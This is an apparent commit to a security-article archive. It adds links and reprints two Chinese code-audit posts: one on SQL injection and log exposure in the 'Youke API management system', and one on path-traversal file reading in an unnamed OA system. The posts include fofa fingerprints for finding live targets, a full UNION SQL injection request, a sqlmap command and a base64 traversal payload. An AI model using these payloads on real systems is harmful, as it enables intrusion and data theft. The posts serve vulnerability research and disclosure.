代码审计-某oa任意文件读取(1day)、(0day)全新优客API接口管理系统代码审计、

This commit is contained in:
test 2024-11-16 13:15:34 +00:00
parent 23920dfe7a
commit f86bdd8f3e
3 changed files with 347 additions and 1 deletions

View File

@ -34,5 +34,7 @@
"https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&mid=2247485595&idx=1&sn=b4c87d04e1659f11fad8f2f125985751&chksm=cfa49360f8d31a76e5d3880e51cd8f9b0ab1df47e86729adf04ea6d1f1202fac72fae5903fbe&scene=58&subscene=0": "大语言语言模型安全攻击以及AI供应链漏洞",
"https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521498&idx=1&sn=f0af27f6b0e814c92846ea129bcee155&chksm=ea94a5b0dde32ca62dddf91f42a9fa2b36402ffb856469973f83a6a88e24d6910dcc53072ef4&scene=58&subscene=0": "PostgreSQL 高危漏洞可导致环境变量被利用",
"https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651388483&idx=1&sn=070fb6976ee52108d263858115ea9bfd&chksm=8d398bcbba4e02ddbe0183f79c2682bbf1cab54e4ba6bb0697fdc56e297e7303aa9eb938b9e6&scene=58&subscene=0": "2024年网络安全漏洞研究人才培养交流活动成功举办",
"https://mp.weixin.qq.com/s/O2Ohp_ceYrTo8hppX09fkw": "(0day)微信公众号商家收银台小程序系统存在前台任意文件上传漏洞"
"https://mp.weixin.qq.com/s/O2Ohp_ceYrTo8hppX09fkw": "(0day)微信公众号商家收银台小程序系统存在前台任意文件上传漏洞",
"https://mp.weixin.qq.com/s/tbEXIAPT-Vumch-WyoGZHQ": "代码审计-某oa任意文件读取(1day)",
"https://mp.weixin.qq.com/s/73CXvF4ejvgS40OetzXr8A": "(0day)全新优客API接口管理系统代码审计"
}

View File

@ -0,0 +1,70 @@
# (0day)全新优客API接口管理系统代码审计
原创 Mstir 星悦安全 2024-11-12 03:43
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/lSQtsngIibibSOeF8DNKNAC3a6kgvhmWqvoQdibCCk028HCpd5q1pEeFjIhicyia0IcY7f2G9fpqaUm6ATDQuZZ05yw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
点击上方
蓝字关注我们 并设为
星标
## 0x00 前言
**全新2024优客API接口管理系统内置30+API接口支持服务器信息网站ICP备案抖音无水印QQ在线状态QQ头像获取历史上的今天IP签名档ICO站标获随机动漫图网站标题获取爱站权重获取城市天气获取随机一言皮皮虾无水印每日Bing壁纸垃圾分类查询手机号归属地申通快递查询等接口功能.**
**fofa指纹:"public/static/index/css/flaghome.css"**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5fylhb95yo5Dxk0GWmW01OibqRphYicURXibEV1ePvcxGE9n39htWq3w3skLECYNS4D7fcNNLibj5FgDQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5fylhb95yo5Dxk0GWmW01Oib0oPU3BOXrtcrSV1sENiaeUOUNm6pic33sSED7upWibv9vftZnxAaZ8Amw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5fylhb95yo5Dxk0GWmW01OiblP265TeVnV72KV0blbNicd6rAKPG7Kxmc85hm1HToPf26mqqvJvHuQw/640?wx_fmt=png&from=appmsg "")
**框架:ThinkPHP 5.1.41 Debug:False**
## 0x01 前台Log日志泄露漏洞
##
**该系统设置运行目录为根目录且未对runtime 目录做限制,日志文件可被访问,导致漏洞产生.**
**Payload (这种格式):**
```
/runtime/log/202411/11.log
```
**会记录一些包括SQL执行语句在内的敏感信息**![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5fylhb95yo5Dxk0GWmW01OibcpFsarnE9Xe73WGWTgZsL8NO0xu8icicNnMQRUrtLeicrBO0x0sDjjDhg/640?wx_fmt=other&from=appmsg "")
## 0x02 前台SQL注入漏洞
##
**位于 /index/controller/Index.php 控制器中的doc方法通过POST传入id参数并直接进入到SQL查询字句中且无任何过滤导致漏洞产生.**
```
public function doc(){
$doc = input('id');
$api = Db::name('info')->where("doc='$doc'")->find();
$info = Db::name('setup')->find();
$list = $this->getTree();
return $this->fetch('doc',[
'info' => $info,
'api' => $api,
'list' => $list
]);
}
```
**Payload:**
```
POST /index/index/doc HTTP/1.1
Content-Length: 142
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
id=') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL-- -
```
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5fylhb95yo5Dxk0GWmW01Oibn1OaewCibt0hwUpLQlUbaQrG4GhQTk3rB6smswPl5xqSpVRCJGbicFtA/640?wx_fmt=other&from=appmsg "")
python sqlmap.py -r a.txt --level=3 --dbms=mysql
标签:代码审计0day渗透测试系统通用0day闲鱼转转API源码关注公众号发送 241112 获取!免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

View File

@ -0,0 +1,274 @@
# 代码审计-某oa任意文件读取(1day)
安全洞察知识图谱 2024-11-15 00:30
本文首发于先知社区 https://xz.aliyun.com/t/16202 本人为原创作者
## 0x01 环境准备
拿到源码之后第一步看是源码是否全面是否可以搭建起来如果可以搭建起来就可以用断点调试的方法去调试代码如果不能就得手动去把一些方法抽象出来进行调试我这次拿到的源码不够全面所以就需要手动去调了。通常审计java代码时个人比较喜欢用vscode阅读代码+idea反编译代码。
## 0x02 代码审计
漏洞通常分为前台漏洞和后台漏洞,前台漏洞是指无需进行登入认证,直接可以访问到某路由,而该路由存在漏洞,就可以直接利用。后台漏洞是需要通过登入认证,才可以访问到某路由。在代码审计时通常优先审计前台漏洞,因为在攻防项目中我们遇见某个系统时不一定会有其账号密码。
该源码使用tomcat部署拿到源码的第一步就是去看其目录下的WEB-INF/web.xml文件
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OR7iabpR0FGzRic9ByVyibEnXLWHoJibKqRtZvvQQF8vY2EfejibavzJ2arw/640?wx_fmt=png&from=appmsg "")
如果访问的是*.jsp或者*.do路由就会跳到CheckFilter去。
我们跳转到CheckFilter去查看代码
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OchKaY7icvlvYpARvj6AHyLz4sKJfEdqdazrhPmMiaZjvk0UjXTx9TFJw/640?wx_fmt=png&from=appmsg "")
重点关注这个if判断语句
```
if (servletPath != null && session != null && servletPath.indexOf("getUserAvatar") < 0 && session.getAttribute("userId") == null && servletPath.indexOf("login.jsp") == -1 && servletPath.indexOf("CheckUser.") == -1 && servletPath.indexOf("HntdxyCheckUser.") == -1 && servletPath.indexOf("lhydCheckUser.") == -1 && servletPath.indexOf("ZclCheckUser.") == -1 && servletPath.indexOf("/zcl/goPageUrl.") == -1 && servletPath.indexOf("wap.jsp") == -1 && servletPath.indexOf("wap.do") == -1 && servletPath.indexOf("RTXLogin.jsp") == -1 && servletPath.indexOf("saiLogin.jsp") == -1 && servletPath.indexOf("saitong.jsp") == -1 && servletPath.indexOf("jumperrorMsg.jsp") == -1 && servletPath.indexOf("/wap2/errorShow.jsp") == -1 && servletPath.indexOf("dl.jsp") == -1 && servletPath.indexOf("login_gzw.jsp") == -1 && servletPath.indexOf("/lhyd/index.jsp") == -1 && servletPath.indexOf("/hntdxy/test.jsp") == -1 && servletPath.indexOf("hntdCustomDesktopAction.") == -1 && servletPath.indexOf("recallPassword.jsp") == -1 && servletPath.indexOf("recallPasswordAjax.jsp") == -1) {
res.sendRedirect("/jsoa/login.jsp");
}
```
他使用的是&&符号,意思就是只有同时满足下列条件,才会跳转到/jsoa/login.jsp否则就会进入else逻辑这是否就意味着里面写的那些jsp文件可以直接访问呢这时候有两种方法可以判断:
1、跟进代码看一下下面的逻辑是否过滤了这些文件。
2、去找到一个搭建好的资产fofa去尝试访问该路由看看是否可以直接访问。
方法二更加便捷,我去尝试找了一下资产
去任意访问了几个路由发现其返回状态码是200那就证明是可以访问到这些路由的。就去一个一个路由的去看代码。
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OXC4ic1KiczQMIjWLYFS20dhnYNoEEzjl7s4zcluKhfiaduDtia7V2Q5zLQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OzJauS9ERlrlicfBaeWgzhUceTZY16B3sLpLWLjH1CtQpQ8X3bBtA3lg/640?wx_fmt=png&from=appmsg "")
一般java而且使用jsp的站最常见的在护网中有实战意义的就是任意文件上传传一个jsp的木马就可以直接getshell而java中有一些常见读写文件的方法FileReader、FileWriter、BufferedReader、 BufferedWriter、Files.write、FileInputStream、FileOutputStream。可以去全局搜索这些关键字去找。
这里我定位到了一个dl.jsp方法
```
<%
try{
String _queryString=request.getQueryString();
String queryString="&"+com.js.util.util.BASE64.BASE64DecoderNoBR(_queryString);
String temp;
int index=0;
String informationId="",path="",FileName="",name="",moduleCode="";
//查找informationId
index=queryString.indexOf("&informationId");
if(index>=0){
temp=queryString.substring(index+15);
if(temp.indexOf("&")>=0){
informationId=temp.substring(0,temp.indexOf("&"));
}else{
informationId=temp;
}
}
//查找path
index=queryString.indexOf("&path");
if(index>=0){
temp=queryString.substring(index+6);
if(temp.indexOf("&")>=0){
path=temp.substring(0,temp.indexOf("&"));
}else{
path=temp;
}
}
//查找FileName
index=queryString.indexOf("&FileName");
if(index>=0){
temp=queryString.substring(index+10);
if(temp.indexOf("&")>=0){
FileName=temp.substring(0,temp.indexOf("&"));
}else{
FileName=temp;
}
if(!FileName.substring(4,5).equals("_"))
{
path="0000/"+path;
}else
{
path=FileName.substring(0,4)+"/"+path;
}
}
//查找name
index=queryString.indexOf("&name");
if(index>=0){
temp=queryString.substring(index+6);
if(temp.indexOf("&")>=0){
name=temp.substring(0,temp.indexOf("&"));
}else{
name=temp;
}
//System.out.println("name="+name);
}
//查找moduleCode
index=queryString.indexOf("&moduleCode");
if(index>=0){
temp=queryString.substring(index+12);
if(temp.indexOf("&")>=0){
moduleCode=temp.substring(0,temp.indexOf("&"));
}else{
moduleCode=temp;
}
}
//informationId,path,FileName,name;
// 得到文件名字和路径
//String informationId=request.getParameter("informationId");
String filepath="";
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
HttpSession session1=HSR.getSession(false);
if(informationId!=null && !"null".equals(informationId) && !"".equals(informationId)){
try{
//记录知识管理文档阅读次数并记录查看人
com.js.oa.info.infomanager.service.InformationBD info=new com.js.oa.info.infomanager.service.InformationBD();
String userId=session.getAttribute("userId").toString();
String userName=session.getAttribute("userName").toString();
String orgId=session.getAttribute("orgId").toString();
String orgName=session.getAttribute("orgName").toString();
String orgIdString=session.getAttribute("orgIdString").toString();
info.recordReader(userId,userName,orgId,orgName,orgIdString,informationId);
}catch(Exception ex){
ex.printStackTrace();
}
}
//判断是否使用了文件服务器
if(com.js.util.config.SystemCommon.getUseClusterServer()==1){
response.sendRedirect(com.js.util.config.SystemCommon.getClusterServerUrl()+
"/download_f.jsp?"+_queryString);
}else{
//直接下载
//String path=request.getParameter("path");
while(path.indexOf("../")>=0){
path = path.replace("../","");
}
filepath=HSR.getRealPath("/upload/")+"/"+path+"/";
filepath = filepath.replaceAll("\\\\", "/");
if("".equals(moduleCode) || moduleCode ==null)
{
if(filepath.contains("cooperate"))
{
moduleCode="co_attach_waitsend";
}
if(filepath.contains("workflow"))
{
moduleCode="oa_workflow_waitsend";
}
if(filepath.contains("customform"))
{
moduleCode="oa_workflow_complete";
}
if(filepath.contains("archives"))
{
moduleCode="oa_archives_fujian";
}
}
String nameShow=name;
name=new String(name.getBytes("GBK"),"iso-8859-1");
java.io.File file = new java.io.File(filepath + FileName);
if(file.exists()){
response.setContentType("csv");
response.setHeader("Content-Disposition","attachment; filename=\"" + name + "\"");
java.io.FileInputStream fis=new java.io.FileInputStream(file);
java.io.BufferedInputStream buff=new java.io.BufferedInputStream(fis);
byte [] b=new byte[1024];//相当于我们的缓存
long k=0;//该值用于计算当前实际下载了多少字节
//从response对象中得到输出流,准备下载
java.io.OutputStream myout=response.getOutputStream();
//开始循环下载
while(k<file.length()){
int j=buff.read(b,0,1024);
k+=j;
//将b中的数据写到客户端的内存
myout.write(b,0,j);
}
//将写入到客户端的内存的数据,刷新到磁盘
myout.flush();
buff.close();
fis.close();
myout.close();
out.clear();
out = pageContext.pushBody();
}else{
response.setContentType("text/html; charset=GBK");
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<SCRIPT LANGUAGE="JavaScript">
alert("File Not Found!");
history.back();
</SCRIPT>
</head>
<body>
</body>
</html>
<%
}
}//end of 直接下载
}catch(Exception ex){
ex.printStackTrace();
response.setContentType("text/html; charset=GBK");
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<SCRIPT LANGUAGE="JavaScript">
alert("File Not Found!");
history.back();
</SCRIPT>
</head>
<body>
</body>
</html>
<%
}%>
```
先去找sink点其存在fileInputStream方法去读取一个文件并输出到response.outputstream中
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5Oca6ibFcicB5YtRUxKaIc8PrdunzW4XurCHibLicdqhKWJawKxRZMva8aPQ/640?wx_fmt=png&from=appmsg "")
就去上前看filepath和filename是怎么获取到的
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OibYo1jraQPvp3brib5gkZQCwCcLibDAzDklnBib9sut9iaib82Pvo4EfsSZA/640?wx_fmt=png&from=appmsg "")
首先是获取一个QueryString然后使用base64解码这样的写法其实对攻击者很有利因为可以通过这个去绕过一些waf
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OzXmc0Fejg3ywQQS7qlDIQMGicOXL89Ub0XLZ6U2fObDw3f9ZpXPBoag/640?wx_fmt=png&from=appmsg "")
接着就去读取读取path和filename的内容进行截取
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5Ora4EMU4X1A62yXoZameibcykb3WUjicStdrItsLsMT7He52KXpfPPFzg/640?wx_fmt=png&from=appmsg "")
接着往下看对path处进行了替换把../替换为了空但是对filename却没进行处理。而最后filepath和FileName是直接拼接的也就造成了路径穿越可以读取任何文件最后构造payload即可进行任意文件读取
image-20241111111953415
```
&FileName=../../../dl.jsp&path=/aaa
base64加密
JkZpbGVOYW1lPS4uLy4uLy4uL2RsLmpzcCZwYXRoPS9hYWE=
```
![](https://mmbiz.qpic.cn/mmbiz_png/LtPy9FCOnrf32WtIDQm8o8T3EaZcSZ5OU7Lxpicu1nOiaibzOzB6295pxCicvOJhVWlZiaTcnHFqv2Ul7h3MS9fPqCA/640?wx_fmt=png&from=appmsg "")